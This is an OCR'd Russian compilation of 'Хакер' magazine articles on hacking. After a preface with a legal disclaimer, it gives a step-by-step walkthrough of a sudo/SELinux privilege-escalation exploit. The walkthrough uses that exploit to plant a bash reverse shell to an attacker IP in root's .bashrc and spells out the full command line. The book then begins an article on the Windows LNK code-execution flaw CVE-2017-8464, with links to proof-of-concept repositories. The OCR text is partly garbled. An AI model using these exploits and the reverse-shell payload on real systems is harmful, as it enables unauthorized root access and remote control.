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Вместо предисловия 

Ты держишь в руках необычную книгу . Это не традиционный самоучитель или 

справочник по информационной безопасности и не скучная энциклопедия, вклю­

чающая в себя информацию , которую без особого труда можно отыскать в Интер­

нете . Перед тобой - сборник тщательно отобранных , самых интересных , лучших 

публикаций из легендарного журнала «Хакер», объединенных общей темой: 

«ВЗЛОМ». 

В этой книге почти нет теории , посвященной архитектуре операционных систем и 

приложений. Ты не найдешь здесь долгих описаний принципов работы программ , 

устройства драйверов и баз данных. Под этой обложкой собраны только практиче­

ские приемы взлома, описанные настоящими профессионалами и многократно ис­

пытанные в деле. Никакой «воды», только полезная информация. Это и есть самое 

настоящее искусство хакерства в его истинном , концентрированном виде. 

Всякий раз, когда в Интернете или традиционных СМИ я вижу новостные заголов­

ки из разряда «Хакеры организовали очередную вирусную атаку» или «База дан­

ных интернет-магазина была похищена хакерами», мне нестерпимо хочется оты­

скать написавшего это журналиста и стукнуть его по голове чем-нибудь тяжелым. 

Работая редактором, я безжалостно вымарываю подобные строки из поступавших 

в издательство материалов . «Почему ты с таким упорством защищаешь хаке­

ров?» - недоумевают коллеги. «Потому что они ни в чем не виноваты», - всякий 

раз отвечаю я. 

Истинное происхождение термина «хакер» сейчас , наверное , установить уже не­

возможно: предполагается , что оно зародилось в кампусах и аудиториях Массачу­

сетского технологического университета еще в 60-х годах прошлого столетия. Бы­

тует мнение , что словечко попало в обиход компьютерщиков из жаргона хиппи , где 

глагол «to hack» означал отнюдь не «взламывать», как это считается сейчас, а «со­

ображать», «врубаться». Собственно , в 70-х «хакерами» как раз и называли тех, кто 

« врубается» в принципы работы компьютеров , глубоко понимает происходящие в 

них процессы , то есть высококвалифицированных IТ-специалистов , программи­

стов , разработчиков. Хакеры - это прежде всего исследователи , настоящие ученые 

из мира высоких технологий, те самые косматые парни в очках, сквозь толстые 

стекла которых можно поджигать муравьев . Впрочем , довольно часто среди них 

встречаются и девчонки. 

Настоящие хакеры никогда не взламывали чужие приложения или серверы ради 

наживы и уж тем более не совершали преступлений - разве что порой использова-
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ли свои знания для организации безобидных розыгрышей . Порой хакеры использо­

вали собственные умения в личных целях , но все равно старались не наносить ком­

пьютерным системам и их пользователям серьезного вреда. По боль шому счету, 

хакерами можно смело назвать Стива Возняка и Билла Гейтса , Линуса Торвальдса 

и Ричарда Столлмана . Даже создатель первой в истории человечества электронно ­

вычислительной машины Конра д Цу з е был своего рода хакером, хотя в его времена 

такого понятия не существовало вовсе. 

Сегодня расхож ее слово «х акер », неког да обозначавшее просто высококлассного 

компьютерного специалиста , оказалось затерто до дыр не разбирающимися в во­

просе журналистами , которые низвели IТ-профессионалов до уровня компьютер­

ных преступников и кибер злодее в . Масла в огонь по дл или многочисленные 

онлайновые и не очень издания , благодаря стараниям которых ныне хаке ром себя 

мнит любой школьник , скачавший откуда-нибудь по дбо рку « программ для взлома 

Интернета ». 

В мире существует множество IТ-специалистов, которых можно назвать настоящи­

ми профессионалами своего дела. Это системные администраторы , поддерживаю­

щие целые кластеры серверов , это программисты , пишущие сложный код , это экс­

перты по информационной безопасности, архитекторы операционных систем и, 

конечно, вирусные аналитики , исследующие опасные угрозы. И все они - не­

множко хакеры. Вот почему я отношусь к людям, которые заслужили право имено­

ваться именно так, с большим и искренним уважением, ведь хакер - это звучит 

гордо. 

Авторы собранных в этой книге статей - настоящие этичные хакеры в том самом, 

хорошем смысле э того слова. Это истинные профессионалы , неутомимые исследо­

ватели , опытнейшие э ксперты в сфере защиты информации и поиска уязвимостей. 

Сегодня они делятся своими з наниями и опытом с тобой, читатель. 

В журнале «Хакер» царит своя неповторимая атмосфера. Во-первых , здесь принято 

общаться с читате лем на « ты ». Во-вторых , на страницах журнала допустим компь­

ютерный сленг, а манеру изложения в статьях можно назвать ироничной и шутли­

вой. Все эти добрые традиции в полной мере распространилась и на книгу. Потому 

не удивляйся , встретив на страницах издания слово «ф ича » вместо «функциональ­

ная особенность приложения » или « пофиксить» вместо «исправить выявленную 

ошибку в ко де». У нас так заведено. 

Поскольку тема этой книги весьма специфичная , мы не можем не опубликовать 

в предисловии несколько важных пре ду преждений . Вот они: 

ВНИМАНИЕ! 

Вся приведенная на страницах этой книги информация , код и примеры публикуются 

исключительно в ознакомительных целях . Ни издательство «БХВ» , ни редакция жур­

нала «Хакер», ни авторы не несут никакой ответственности за любые последствия ис­

пользования информации, полученной в результате прочтения книги , а также за лю­

бой возможный вред , причиненный информацией из этого издания. 

Помните , что несанкционированный доступ к компьютерным системам и распростра­

нение вредоносного ПО преследуются по закону . Все рассмотренные в книге методы 
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представлены в ознакомительных целях . Каким-либо образом используя представ­

ленную в книге информацию, вы действуете исключительно на собственный страх и 

риск . 

Искренне надеюсь, что ты , дорогой читатель , прекрасно понимаешь, что любые 

з нания подразумевают ответственность. С использованием одной и той же ядерной 

реакции можно построить атомную электростанцию , которая сог реет миллионы 

людей , а можно соорудить бомбу , способную уничтожить их . Уверен , ты сделаешь 

правильный выбор и используешь обретенные благодаря э той книге знани я во бла­

го - для борьбы с компьютерными угрозами , повышения информационной безо­

пасности и выявления уязвимостей , которые можно и нужно закрыть . Ну а я , соста­

витель этого сборника , и авторы опубликованных в нем статей будем рады видеть 

тебя среди постоянных читателей журнала « Хакер ». До встречи! 

Вал.ептин Холмогоров, 

редактор рубрики «Взлом» : псурпала «Хакер» 

http://xakep.ru 

http://holmogorov.ru 
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1. Повышаем привилегии 

до суперпользователя 

через уязвимость в sudo 

Иван aLLy Комиссаров 

~НЕР ...... 

Команда sudo в UNIX и Linux позволяет обычному пользователю выполнять 

команды от имени других пользователей, в частности от root. Ребята из Qualys на ­

шли в sudo уязвимость типа LPE, которая дает атакующему возможность повысить 

привилегии в системе. Посмотрим , как это работает. 

Уязвимость затрагивает все версии sudo, начиная 1 . 8 . 6р7 и заканчивая 1.8.20р2 , 

а связана ошибка с неверной логикой обработки результатов /proc/ [pidJ /stat 

в функции get _process _ ttyname () . Используя специально сформированные симво­

лические ссылки , злоумышленник может вызвать команду sudo и подменить в ее 

контексте пользовательский терминал симлинком на нужный файл. Таким образом, 

он может переписать содержимое этого файла результатом работы выпо лняемой 

через sudo команды. 

Подготовка 

Начнем с выбора операционной системы. Я буду использовать CentOS 7 в качестве 

гостевой ОС , поэтому все мои манипуляции будут актуальны именно для этой вер­

сии системы. Запускать ОС через Docker я не советую- SELinux в нем работает не 

так же, как в полноценном дистрибутиве. Лучше использовать VMware или 

Virtua\Вox. 

Чтобы протестировать уязвимость , нам понадобятся три условия: 

1. Обычный пользователь с sudо-привилегиями выполнения какой-нибудь про­

граммы. 

2. Активированный SELinux (Security Enhanced Linux). 

3. Сам бинарник sudo должен быть собран с поддержкой SELinux (поддержка sudo 

-r role). 

Разберемся с каждым пунктом. 

Для начала создадим юзера attacker. Я уже сделал это на этапе устано вки системы , 

но если тебе по каким-то причинам такой вариант не подходит, то это можно про­

вернуть следующей командой в консоли: 
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useradd - d /home / attacker -s /bin/bash - р $(echo verysecretpass I openssl 
passwd - 1 -stdin) attacker 

Теперь делегируем новоиспеченному юзеру возможность выполнять какую-нибудь 

команду от суперпользователя. Не буду далеко отходить от репорта Qualys и для 

демо нс т рации уязвимости использую бинарник sum (https://www.opennet.ru/ 

man.shtml?topic=sum&category=l&russian=O), который занимается подсчетом 

контро льной суммы указанного файла. Для этого можно воспользоваться командой 

visudo или же просто д обавить строчку attacker ALL= (ALL) NOPASSWD : /usr/Ьin/sum 

в файл /etc/sudoers (рис . 1 . 1 ). 

В CentOS 7 SELinux включен и прекрасно работает из коробки, поэтому никаких 

дополнительных действий второй и третий пункты от нас не потребуют . Проверить 

текущий статус подсистемы можно командой sestatus (рис. 1.2). 

• CentOS7 (Befor• update sudo) [RunningJ - Oracl• VM VirtualBox □ х 

Рис. 1.1. Добавление пользователю прав на выполнение команды через sudo 

~ Cent0S7 - VМworo Worlcst.tion 12 Player о х 

Рис. 1.2. SELinux работает в CentOS из коробки 
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С подготовкой з акончи ли, самое время скачивать э ксплоит по следующей • ссылке: 

https://www.exploit-db.com/download/42183 и переходить к разбору д еталей уяз­

вимости. 

Детали уязвимости 

В самом начале я упомянул, что проблема находится в функции get_process_ 

ttyname, которая объ я влена в файле ttyname.c. 

Давай разберемся , что делает эта функция . При выполнении команды она получает 

информацию о статусе процесса /proc/[pid]/stat и читает номер терминала tty и з 

поля под номером 7 - tty _nr (рис. 1.3). 

Рис. 1.3. Поле tty_nr (7) - номер терминала , который использует процесс 

Саму структур у по лей stat можно пос мотреть в файле /usr/src/linux/fs/proc/array.c. 

493: seq_printf (m, " %d (%s) % с ", pid_nr_ns (pid , ns) , tcomm, state) ; [1 2 3] 

4 94 : seq_put _ dec imal 11 (m, " ", ppid) ; [ 4] 

495 : 

496: 

497 : 

498 : 

seq_put_ decimal_l l(m, 

seq_put_decimal_ll(m, 

seq_put_decimal_ ll(m, 

seq_put_decimal ll(m, 

11 11 

11 " 

11 " 

' 
' 

' 

pgid) ; [5] 

sid) ; [6] 

tty_nr) ; [7] 

tty_pgrp) ; 

Поля , как ви д ишь , отделяюtся друг от друга пробелами. По ним функция 

get_process_ttyname и разбивает строку (результат работы /proc/[pid]/stat) для 

дальнейшего парсинг а. 

j 1src/ttyname.c 

48 0 : get_process_ttyname (char *name , size t namelen) 

481 : 

490 : /* Try to determine the tty from tty_nr in /proc/pid/stat. */ 

491 : snprintf (path , sizeof(path) , " /proc/ %u/stat ", (unsigned int)getpid()) ; 

4 92 : if ( ( fp = fopen (path , " r " )) ! = NULL) ( 
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493 : len = getline(&line , &linesize , fp) ; 

494: fclose(fp) ; 

495 : if (len 1= - 1) 

496 : /* Field 7 is the tty dev (О if no tty) */ 

501 : while ( *++ер ! = ' \0 ' ) 

502 : 

503 : 

504 : 

505 : 

if (*ер== ' ' ) 

*ер = ' \0 ' ; 

if (++field 7) { 

dev_t tdev = strtonum(cp , INT_MIN , INT_МAX , &errstr) ; 

Теперь посм от рим на поле под номером 2 (comm). Это не что иное , как имя испол­

няемого фай ла, взятое в круглые скобки. А ведь оно вполне может содержать про­

белы . Напри ме р , возьмем стандартный бинарник cat, скопи р уем и сохраним его 

по д новым имен ем - cat with spaces. Теперь выполним к оманду cat\ wi t h\ spaces 

/ proc/s e l f/stat и посм отрим на результат (рис. 1.4). 

Рис. 1.4. Парсинг по пробелам вызывает проблему верного определения tty_nr 

Как ви д ишь , если те п ерь, следуя коду функции get_process_ttyname, р азб ивать 

строку по пробе лам, то элементом п од номер ом 7 будет совсем не tty_nr, как ожи­

да ется. Вы ход и т, что , используя о пр еделен н ое количество пробелов в имени , мы 

можем нарушить заложе нн ую ра з ра ботчиками лог ик у ра бот ы функции 

get_process _ ttyname. 

Как можно у прав л я т ь именем коман д ы? Конечно , при помощи симлинков! Е сли мы 

вы з овем sudo чер ез симлинк с именем ./ 1, то get_process_ttyname вы з овет функ­

цию sudo_ttyname_dev для поиска нес у ществ ую щего ttу-устройства с номером 1 

в массиве search devs . 

l /src/ttyname.c 

505 : 

510 : 

511 : 

512 : 

dev t tdev = strtonum(cp, INT_MIN , INT_МAX , &errstr) ; 

if (tdev > О) { 

errno = serrno ; 

ret = sudo ttyname_dev(tdev, name , namelen) ; 

318 : sudo_ttyname_dev(dev_t rdev , char *name , size t namelen) 

319 : { 
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326 : /* 

327 : * First check sear ch_devs for common tty devi ces . 

328 : * / 
329 : for (sd = search_devs ; (devname = *s d) != NULL; sd++) 

330 : len = strlen(devname) ; 

331 : if (devname[len - 1] == ' / ' ) { 

14 7 : /* 

148 : * Devices to search before doing а breadth- first scan . 

149 : */ 

150 : static char *search_devs[] = { 

151 : " /dev/console", 

152 : " /dev/wscons ", 

153 : " /dev/pts/ ", 

154 : " /dev/vt/ ", 

155 : " /dev/term/ ", 

156 : " /dev/zcons/ ", 

157 : NULL 

158 : }; 

Далее выполнение переходит к функции sudo_ttyname_dev, которая , в свою оче­

редь, вызывает sudo_ttyname_scan. Эта функция продолжает поиск несуществую­

щего tty в каталоге /dev/. Он выполняется при помощи так называемого поиска 

в ширину (breadth-first search, BFS). 

369 : /* 

370 : * Not found? Do а breadth- first traversal of /dev/. 

371 : * / 
372: ret = sudo_ttyname_scan(_ PATH_ DEV , rdev , false , name , namelen) ; 

В этот момент мы можем проэксплуатировать уязвимость. Когда поиск проходит 

в устройстве /dev/shm (общей памяти , SHared Memory), атакующий может подсу­

нуть программе в виде tty любое текстовое устройство в файловой системе. Затем, 

войдя в состояние гонки и успешно ее выиграв, можно представить любой файл 

в качестве своего терминала. 

Дальше в игру вступают особенности работы sudo в рамках SELinux. Благодаря 

функции relabel_tty атакующий может изменить содержимое любого файла, вклю­

чая файлы, принадлежащие суперпользователю. Функция открывает для чтения и 

записи текущее ttу-устройство , в которое при помощи dup2 направляется содержи­

мое stdin, stdout и stderr. Используя манипуляции с симлинками , можно направить 

в произвольный файл результат работы команды, которая разрешена на исполнение 

через sudo. 
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l /src/selinux.c 

148 : relabel_tty(const char *ttyn, int ptyfd) 

14 9 : 

163 : se_state . ttyfd = open(ttyn, O_RDWRIO_NOCTTYIO_NONBLOCK) ; 

209 : /* Re- open tty to get new label and reset std(in , out , err) */ 

210 : close(se_state . ttyfd) ; 

211 : se_state . ttyfd = open(ttyn , O_RDWRIO_NOCTTYIO_NONBLOCK) ; 

218 : for (fd = STDIN_FILENO; fd <= STDERR_ FILENO ; fd++) { 

219 : if (isat ty(fd) && dup2(se_state . ttyfd, fd) == - 1) 

Принцип работы эксплоита 

Пройдемся по коду эксплоита и посмотрим на алгоритм эксплуатации уязвимости 

в действии. В самом начале файла , как водится , несколько констант. 

□ TARGET_FILE -фaйл , в который будет производиться запись; 

□ WORКING_DIR - рабочая директория, в которой будут создаваться нужные 

файлы; 

□ SELINUX_ROLE- роль пользователя в контексте SELint1x. 

1 42183.с 

41 : #define SUDO BINARY " /usr/bin/sudo" 

42 : #define TARGET FILE " /etc/init.d/READМE " 

43 : #define SELINUX ROLE "unconfined r " 

44 : 

45 : #define WORКING_DIR " /dev/shm/_tmp" 

46 : #def i ne ТТУ SYМLINK WORKING DIR " / tty" 
- -

47 : #define ТТУ SYМLINK ТТУ SYМLINK - -

При запуске эксплоит ждет на входе несколько аргументов командной строки. 

В качестве первого указывается бинарник , запуск которого разрешен через sudo. 

Второй аргумент - параметры вызова этого бинарника . 

. /42183 . с /usr/bin/sum ANYTHING YOU ТО WRITE IN FILE - - -

Первым шагом на пути к э ксплуатации будет создание директории /dev/shm/_tmp. 

Интерфейс /dev/shm разрешен на чтение и запись любому пользователю , что не 

может не радовать. В папке создается симлинк /dev/shm/_tmp/_tty, который указы­

вает на несуществующий виртуальный псевдотерминал /dev/pts/57. 
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1 42183.с 

80 : if (mkdir(WORКING_DIR , 0700) ) die () ; 

81: if (symlink(pts , TTY_SYМLINK )) die () ; 

82 : if (symlink(TARGET_FILE , TTY_SYМLINK_ )) die () ; 

Затем генерируе тс я имя и создается симлинк /dev/shm/_tm p/ 34873 для sudo 

(рис. 1.5): 

~ CentOS7 (Before update sudo) [Running) - Oracle VM Vi rtua!Box 

File Machine Vi.ew lnput Devices Help 

'" 
, ,,-, 1 '"" •1:J1? ,fн10,зr,0,и00,0и0" 

Рис. 1.5. Отлад к а эксплоита в момент генерации имени симлинка для sudo 

о х 

Этот трюк , как ты помнишь , нужен дл я того , чтобы нарушить логи к у работы функ­

ции get_process_ttyname в месте парсинга результатов stat по сим во лу пробела. 

Почему здесь исполь зуется число 34 873? Для разъяснения нужно обрат и т ься к до ­

кументации proc (http://man7 . orgЛinux/man-pages/man5/proc.5.htm1) : 

(7) tty_nr %d 

The controlling teпnina l of the process. (The minor 

device numЬer is contained in the comЬination of 

bits 31 to 20 and 7 to О ; the major device numЬer is 

in bits 15 to 8 . ) 

Пре дставим число 34 873 в двоичной системе , получится 1000 1000 0011 1001. 

В битах с 15 по 8 хранится тип терминала. Для обычной консоли tty это число рав­

но 0000 0100, или 4 в дес я те р ичной системе. Но мы проводим манипуляции с псев­

дотерминалами . Доступ к ни м можно получить через /dev/pts/, и им соответствует 

тип 136, или 1000 1000. 
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Далее рассмотрим minor device number. За него отвечают биты с 31 по 20 и с 7 по О. 

У нас всего 16 бит в общей сложности, поэтому используем только с 7 по О, 

остальные считаем равными нулю. Эти биты отвечают з а номер текущего термина­

ла, в котором выполняется бинарник. В нашем случае они равны 0011 1001, что 
является эквивалентом 57 в десятичном пре д ставлении . Это именно тот номер тер­

минала , для которого мы со зда вали симлинк (рис. 1.6). 

Рис. 1.6. Различные типы (minor device number) терминалов 

142183.~ 

70 : struct stat sbuf ; 

71 : if (fstat (*pts fds , &sbuf)) die() ; 

7 4: if ( (unsigned int) snprintf (comm, sizeof (comm) , " %s/ %lu 

WORКING DIR, (unsigned long)sbuf . st_rdev) 

75 : >= sizeof(comm)) die() ; 

83 : if (symlink(SUOO_BINARY, comm)) die() ; 

Далее собираем параметры для запуска sudo через символическую ссылку. Исполь­

зуем флаг - r role, где role - роль нашего пользователя в контексте SELinux. По 

умолчанию в эксплоите используется unconfined_r. 

1 42183 . с 

102 : 

103 : 

104 : 

105 : 

106 : 

107 : 

108 : 

char ** const argv calloc(argc + 1 , sizeof(char *)) ; 

if ( 1 argv) die () ; 

argv[0] comm; 

argv[l] = "-r "; 

argv[2] = SELINUX_ROLE ; 

memcpy(&argv[3] , &my_argv[l] , my_argc * sizeof(char *)) ; 

if (argv[argc]) die() ; 

Проверить роль пользователя можно командой id -z. Если она отличается от 

дефолтной, то меняй в исходниках константу SELINUX_ROLE (строка 43). 

Теперь запускаем sudo. Для эт ого используем созданный ранее симлинк с пробела­

ми в названии : 
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I 42183.с 

113 : execve(*argv , argv, NULL) ; 

Настало время гонок. Чтобы перезаписать файл , нам нужно успешно выиграть два 

заезда. Для облегчения этого процесса в эксплоите использовано три любопытных 

трюка. 

Трюк первый: функция sched_setaffinity заставляет sudo отрабатывать на том же 

логическом процессоре , что и наш эксплоит. 

[ 42183.с 

93 : 

94 : 

95 : 

9б : 

cpu set_t cpu_set ; 

CPU_ZERO(&cpu_set) ; 

CPU_SET(cpu , &cpu_set ) ; 

if (sched_setaffinity(0 , sizeof(cpu_set) , &cpu_set) != О) die() ; 

Втор ой трюк: при помощи функции setpriority понижается приоритет nice процес­

са sudo до миним ал ьного(+] 9): 

I 42183.с 

110 : if (setpriority (PRIO_PROCESS , О , +19) 1= О) die() ; 

Тре ть я х итр ость - это функция sched_setscheduler, которая устанавливает алго­

рит м и параметры планирования процесса. В случае рассматриваемого эксплоита 

вы брана по л итика SCHED_IDLE, которая используется при работе с очень ни зко ­

приоритетны ми фоновыми задачами. 

j 42183.c 

111: 

о } ; 
112: 

static const struct sched_param sched_param = { . sched_priority 

(void) sched setscheduler (О , SCHED _ IDLE , &sched __ param) ; 

Шансы выиграть гонку заметно подросли , и теперь нам нужно поймать момент, 

когда sudo выполнит функцию opendir для рабочей директории - /dev/shm/_tmp. 

Для э того используется inotify API. Его цель - наблюдать за объектами в ожида­

нии определенны х событий , а при возникновении этих событий выполнять указан­

ные действия. 

Вешаем вотчер ивента IN_OPEN на папку и ждем, пока программа дойдет до ее 

открытия. Это происходит при поиске несуществующего псевдотерминала из сим­

линка. Как только событие срабатывает , останавливаем процесс sudo, отправив ему 

сигнал SIGSTOP: 
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085 : const int inotify_fd = inotify_initl(IN_CLOEXEC ) ; 

08 7 : const int working wd = inotify_add_watch(inotify_fd , WORКING_DIR , 

IN OPEN I I N_CLOSE_NOWRITE}; 

117 : s t r uct inotify_event event ; 

11 8 : i f (read(inotify_fd, &event , sizeof (event) ) != (ssize_t)sizeof(event)) 
die() ; 

11 9 : i f (kill(pid , SIGSTOP)) die() ; 

Теперь начинаем генерировать псевдотерминалы (pty) при по мо щ и openpty, пока 
не создадим pty с типом 136 и номером 57 (тот самый номер 34873 и з симлинка 

с пробелами). Пос ле этого продолжаем выполнение процес с а sudo: 

12 3 : f or (i = О ; ; i++) { 

124 : i f (i >= sizeof(pts fds) / sizeof(*pts_fds )) die() ; 

125 : int ptm_fd; 

126 : char tmp[PATH_МAX] ; 

127: if (openpty(&ptm_fd, &pts_fds[i] , tmp , NULL , NULL )) die() ; 

128 : i f ( 1strcmp(tmp , pts)) break; 

129 : if (close(ptm_fd)) die( ) ; 

130 : 

134 : if (kill(pid, SIGCONT)) die() ; 

И д ем дальше по коду. Вновь мониторинг д иректории /dev/shm/_tmp, то ль к о т е п ерь 

мы ожидаем события IN_CLOEXEC. Останав л иваем процесс после т ог о, как sudo 

выполнит ф ункцию closedir: 

[ 42183.с · 

136 : if (kill(pid , SIGSTOP)) die(); 

137 : if (event.wd 1= working_wd) die() ; 

138 : if (event .mask != (IN_CLOSE_NOWRITE IN_ISDIR)) die( ) ; 

На этот ра з мы заменяем /dev/shm/_tmp/_tty (сим л инк , к о т о ры й указ ыва ет н а т е­

перь уже существ ующий pty) симлинком на файл , в к о т о рый н уж но прои з вес т и 

запись (TARGET_FILE). И вновь про д олжаем выполне н ие пр оцесса : 

1 ;$21~3.с { 

140 : if ( rename (TTY_SYМLINK_ , TTY_SYМLINK)) die(); 

141 : if (kill (pid, SIGCONT)) die() ; 
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Рис. 1.7. Успешная работа эксплоита . Файл перезаписан 

Эксплоит заверш и л свою работу , а в файл /etc/init.d/README записались резуль­

таты работы прогр аммы sum (рис. 1.7). 

Практическая эксплуатация 

и повышение привилегий 

Сначала нужно решить , что и в какой файл мы будем записывать. Первое , что при­

шло мне на ум, - э то добавить пользователю root в файл .bashrc запуск простень­

кого бэкконнект-шелла. 

nohup bash - i >/dev/t cp/ 192 . 168 . 1 . 101/31337 0<&1 2> &1 

где 192.168.1.101 и 31337 - IР-адрес и порт моего сервера. Решение не претендует 

на какую-то скрытность и универсальность , но в тестовых целях вполне подойдет . 

Редактируем исх од ник сплоита , меняем строку 42 на следующую: 

42 : #def ine TARGET FILE " /root/ . bashrc " 

После успешной эксплуата ции останется дождаться момента , когда пользователь 

root вой д ет в систему, и наш код будет исполнен, 

Время компилировать э ксплоиты: 

gcc - о 4218 3 4 2183 . с - l util - dgdЬ 

Я использова л опцию -d дл я добавле ния отладочной информации в откомпилиро­

ванный бинарник - на тот случай, если пона доб ится посмотреть на различные 

этапы эксплуатации с помощью дебаггера. 
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Формат запуска эксплоита следующий : 

. /42183 <команда , ра з р е ш е нная дnя запуска через sudo> <параметры запуска 

этой команды> 

Посмотреть список коман д, которые пользователь может выполнять чере з sudo, 

можно с помощью коман д ы sudo - 1. У нас это /usr/bln/sum (рис. 1.8). 
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Рис. 1.8. Список доступных команд для выполнения через sudo 

Чтобы записывать определенные данные в файл , нужно уметь контролировать ре­

зультат вывода программы , разрешенной для запуска через sudo. Это можно делать 

несколькими способами. Самый очевидный - это исходИТЕ, из возможностей само­

го бинарника. Например , sum принимает имя файла в качестве аргумента, а если 

такого файла не существует , то будет выведена ошибка. 

[attacker@visualhack ~ ]$ surn Ыаh . Ыаh 

surn: Ыаh . Ыаh : по such f i le or directory 

Второй способ - более универсальный и подходит почти для любой утилиты. Это 

трюк с невалидными параметрами и переносом строк. 

Возьмем команду surn -- Ыаh . Результат ее работы будет выглядеть следующим об­

разом: 

surn : unrecognized opti o п ' --Ыаh' 

Try ' surn --help ' for more infonnatioп 

Название параметра отображается в тексте ошибки. Так ведет себя большая часть 

программ , которые используют аргументы. Понятно , что если просто указать 

наш шелл после -- и записать результат в таком ви д е в файл, то команда не выпол­

нится. 

surn : uпrecogпized o pti o п ' п o h u p bash - i >/dev/ tcp/192.168 . 1.101/31337 0<&1 2>&1 ' 

Нам нужно записать шелл с новой строки. Для э того воспользуемся фичей баша 

$'строка'. В строке , указанной в одинарных кавычках , ищутся и парсятся специ­

альные последовательности (обратный слеш плюс символ). Список поддерживае­

мых эскейп-последовательностей можешь посмотреть здесь: https://www.gnu.org/ 

software/bash/manual/html_ node/ ANSI _ 002dC-Quoting.html. 
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Например , коман д а sum $ ' -- \nHELLO\nWORLD\n ' вернет ошибку вида 

sum : unrecognized opt ion ' 

HELLO 

WORLD 

Try 'sum - - help ' to more infonnation . 

Так уже можно записывать наш шелл в .bashrc, и он выполнится. Только обрати 

внимание на остающиеся одинарные кавычки: если их не закрыть, то bash будет 

с чи тать всю коман д у обычной строкой . По эт ому делаем так: 

[attacker@visualhack ~]$ sum $ '-- \ ' \nnohup bas h -i >/dev/ t cp / 192 . 168 . 1 . 101 / 

31337 0<&1 2>&1\n\ '' 

И получаем на вы х оде: 

sum : unrecognized option ' 

nohup bash - i >/dev/tcp/192 . 168.1 . 101/31337 0<&1 2>&1 

'' 
Try ' sum --help ' to more infonnation . 

Вы вод переданны х параметров показан на рис . 1.9. 

G,1ij C•ntOS7 • VMware Workstation 12 Play,r □ 

Рис. 1.9. Вывод переданных параметров с новой строки 

Приш ло время собрать все воед ино и з апустить эксплоит: 

. /42183 sum $ '-- \ ' \nnohup bash - i >/dev/tcp/192 . 168 . 1 .101/31337 0<& 1 2>&1 \ n ' 

х 

В ре зультате получаем измененный файл .bashrc, в который записался наш пейлоад 

(рис . 1.1 О) . 
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Рис. 1.1 О. Рез ул ьта т работы эксплоита - получение рутовы х привилегий 

Дальше дело только за твоей фантазией: что и в какой фай л писа ть . Я уверен , ты 

найдешь изящный способ повышения привилегий - без ожи дан ия момента , к огда 

в систему во йдет root. Увидеть , как работает эксплойт вживую , можно на следую­

щем видеоролик е: https://vimeo.com/224623724. 
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2. Экс п л уа тируем опасную уязвимость 

в ярлыках Microsoft Windows 

Иван aLLy К о мис саро в 

Каждый , кто пользовался Windows, хорошо знает, что такое ярлык. Однако этот 

з начок со стрелкой дале ко не так прост , как мож~т показаться , и при определе нны х 

условиях он открывает широкие во змо жности для атакующего. Я расскажу , как 

сделать «ядовитый» ярлык и как с помощью флешки выполнять п р оиз в ольн ы й код 

на целевой системе. 

Исторический экскурс 

Все началось еще в 201 О году, когда в паблике всплыл эк сплоит для Windows в е р­

сий 7 и ниже. Эксплоит по звол ял атакующему выпол н ить произвол ьны й код в с и с ­

теме, причем пользователю достато чно было всего лишь перейти по сс ы лке. 

Этот э ксп ло ит испо льзовался как один из вариантов распростране н ия небезызвест ­

ного червя Stнxпet. Когда кто-то вставлял флешку в компьютер , червь заражал ее , 

копируя вредоносный DLL, и создавал специальный ярлык . Если на машине, в ко ­

торую потом вставляли носитель , была включена функция автозапуска, вредо н ос ­

ный ко д и з библиотеки выполнялся . 

Импакт при этом не ограничивался одной только флешкой: код также срабатывал , 

если по льзователь посещал вредоносный URL, который указывал на сетевую ил и 

локальную папк у с э ксплоитом. Взглянув на весь этот ужас, в Microsoft выпуст и л и 

апдейт MS 10-046, который исправляет э ту уязвимость. Вот только за п латка п олу ­

чилась не то чтобы удачной. 

В начале января 2015 года немецкий исследователь Михель Герклоц (Michael 

Heerklotz) детально изучил этот патч и нашел способ его обойти. Результатом рабо­

ты Герклоца стал отчет на конференции Zero Day lnitiative (ZDI), проводимой ком ­

панией НР . П осле исправления патча в марте того же 2015 года исследова н ие б ы ло 

опубликовано. Имеется даже видео демонстрации работы э ксплоита. После этого 

в Microsoft выкатили следующий патч - с поря д ковым номером MS15-01 8, од н а к о 

и он не смог полностью зак рыть уязвимость. В июне 2017 года был обнаруже н о ч е ­

редной способ его обхода . Им пакт при этом остался тем же - выполнение п р оиз­

вольного кода на целевой системе. 
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У язвим ость имеет наименование СУ Е-2017-8464, а РоС- экспло и т создали Йорик 

Костер (Yorick Koster) и nixawk. Йорик также написал модуль для Metasploit . MSF 

я не использую по религиозным соображениям и поэтому в обзоре буду опираться 

на первоначальный сплоит . Найти его ты сможешь, загл янув в репо зито рий 

к nixawk ( https://github.com/nixawk/labs/ЫoЬ/master/CVE-2017 -8464/exp loit_ CVE-

2017-8464.py). 

Если же хочешь просто потриггерить уязвимость, то готовые LNК-файлы и DLL, 

которая запускает калькулятор , можно найти по ссылке https://github.com/ 

Зgstudent/CVE-2017-8464-EXP . Тебе останется лишь скинуть их на флешку . 

Стенд 

В качестве подопытного кролика для теста у язвимости я буду использовать вирту­

алку с Windows 1 О х64. При работе с б инарными файлами нам , конечно же , приго­

дится дизассемблер . Не будем оригинальничать и во з ьмем IDA. 

Также нам понадобится какой-нибу д ь отла д чик. Я решил использовать WiпDbg 

в режиме отладчика ядра. Вот один из способов настр оить удален ный дебагги нг 

виртуалки. 

1. Зап устить WinDbg. Затем выпо л нить команды File I Kernel Debug. Во вкладке 

NET нужно указать порт. Его будет слушать программа в ожида нии подключе­

ния от отлаживаемой системы . Еще можно указать ключ для шифрования пере­

даваемых данных во время сое д инения (рис. 2.1 ). 

Kernel Debugging х 

NЕТ USB 1394 Local СОМ 

Кеmе1 deЬugging over the network 

Port NumЬer 

jsoooo 

jtime.to deЬug . 1ЗЗi1 ----1 

ок Cancel Неlр 

Рис . 2.1. Настройка отладки ядра по сети в WinDbg 

2. Включи ть режим отладки на гостевой машине. В этом нам поможет консольная 

утилита bcdedit: 

bcdedit /debug on 

bcdedit /dЬgsettings net hostip : 127 . 0 . 0 . 1 port : 50000 key : time . to . debug . 1337 
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где hostip - \Р хосто вой ОС, port и key - порт и ключ, которые т ы у казал в на­

стройках WinDbg. После пере заг р уз ки виртуалки она по дклю чится к отладчику 

(рис. 2.2). 

,A~/~T~~d;~ •~ 

'~~~~:~~lG:h~r]~;tfR:~:f~:/E~:~/:·::-::~: \~t. J-t~I}, •tr~ ··~ 

)"R;>J1se~11 .. ~h•s:1r ... 
~t'~.,,.ьta >e.&rct, P•t!- ,~ 
ir.-1J••·--1,,.rst ..... \v6).,J1(:P'Ч:I FГlftц,< 

• .,,1, ~- 1\(),,).0 . ....:~fre -s::_• • flst 1 ·,J1 1~;.i 
кh1.,.ы... 
